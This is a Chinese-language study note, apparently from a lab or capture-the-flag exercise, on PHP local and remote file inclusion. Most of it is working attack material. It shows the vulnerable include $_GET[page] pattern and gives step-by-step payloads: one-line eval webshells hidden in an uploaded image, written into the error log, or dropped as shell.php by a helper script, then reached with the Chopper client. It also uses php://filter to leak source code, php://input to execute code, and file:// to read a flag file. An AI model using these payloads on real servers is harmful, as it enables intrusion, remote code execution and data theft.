//include包含 <?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>'; include "$_GET[page]"; ?> //放在網站目錄下,直接可以訪問網站下文件(文件名2.php) //訪問時:http://127.0.0.1/2.php?page=1.txt (1.txt是放在網站的目錄)相當於<?php include '1.txt';?> include包括文件
<?php $a = "$_GET[page]";//獲得GET中的值 雙引號解析變量 單引號原子符輸出 $a = $_GET['page']; echo $a; ?> //http://127.0.0.1/4.php?page=55將55傳入文件中並賦值給變量a
本地文件包含(Loacl File Inclusion,LFI):
通過瀏覽器引進(包含)web服務器上的文件,這種漏洞是因為瀏覽器包含文件時沒有進行嚴格 的過濾允許遍歷目錄的字符注入瀏覽器並執行。
遠程文件包含(Remote File Inclusion,RFI):
該漏洞允許攻擊者包含一個遠程的文件,一般是在遠程服務器上預先設置好的腳本。 此漏洞是因為瀏覽器對用戶的輸入沒有進行檢查,導致不同程度的信息泄露、拒絕服務攻擊 甚至在目標服務器上執行代碼。
利用文件包含漏洞必須包括main.php中代碼 <?php $a = "$_GET[page]"; include $a; ?>
1.圖片一句話木馬
先用命令或工具把一句話木馬加載到圖片中
上傳圖片
利用菜刀連
http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg
2.日志一句話木馬
利用錯誤日志
將一句話木馬寫入錯誤日志中
http://127.0.0.1/<?php @eval($_POST["value"])>
利用bp抓包
在bp中自動編碼所以要改成
在日志文件中顯示
利用菜刀連接
http://10.1.2.5:17857/cs/main.php?page=錯誤日志路徑 (在連接錯誤日志的時候可能連接不上,可能是錯誤日志文件過多,需要清理)
3.利用遠程訪問
//在test.php中 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞運行test.php文件會在文件目錄創建shell.php ?>
http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路徑所在地)
4.PHP封裝協議讀取文件
http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php 獲取源代碼
返回到網頁中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+
再利用Base64解碼
<?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />'; include "$_GET[page]"; ?>
5.PHP封裝協議執行命令
http://10.1.2.5:17857/cs/main.php?page=php://input
進行執行PHP代碼
6.file協議 需要服務器的絕對路徑
http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt